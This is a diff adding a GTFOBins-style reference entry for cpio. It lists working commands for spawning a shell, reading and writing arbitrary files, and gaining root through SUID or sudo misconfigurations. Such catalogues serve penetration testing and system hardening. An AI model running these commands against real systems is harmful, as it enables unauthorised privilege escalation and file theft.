Add cpio

_gtfobins/cpio.yml

@@ -0,0 +1,54 @@
+---
+functions:
+  shell:
+    - code: |
+        echo '/bin/sh </dev/tty >/dev/tty' >localhost
+        cpio -o --rsh-command /bin/sh -F localhost:
+  file-read:
+    - description: The content of the file is printed to standard output, between the cpio archive format header and footer.
+      code: |
+        LFILE=file_to_read
+        echo "$LFILE" | cpio -o
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | cpio -dp $TF
+        cat "$TF/$LFILE"
+  file-write:
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | cpio -up $LDIR
+  suid:
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | ./cpio -R $UID -dp $TF
+        cat "$TF/$LFILE"
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | ./cpio -R 0:0 -p $LDIR
+  sudo:
+    - code: |
+        echo '/bin/sh </dev/tty >/dev/tty' >localhost
+        sudo cpio -o --rsh-command /bin/sh -F localhost:
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | sudo cpio -R $UID -dp $TF
+        cat "$TF/$LFILE"
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | sudo cpio -R 0:0 -p $LDIR
+---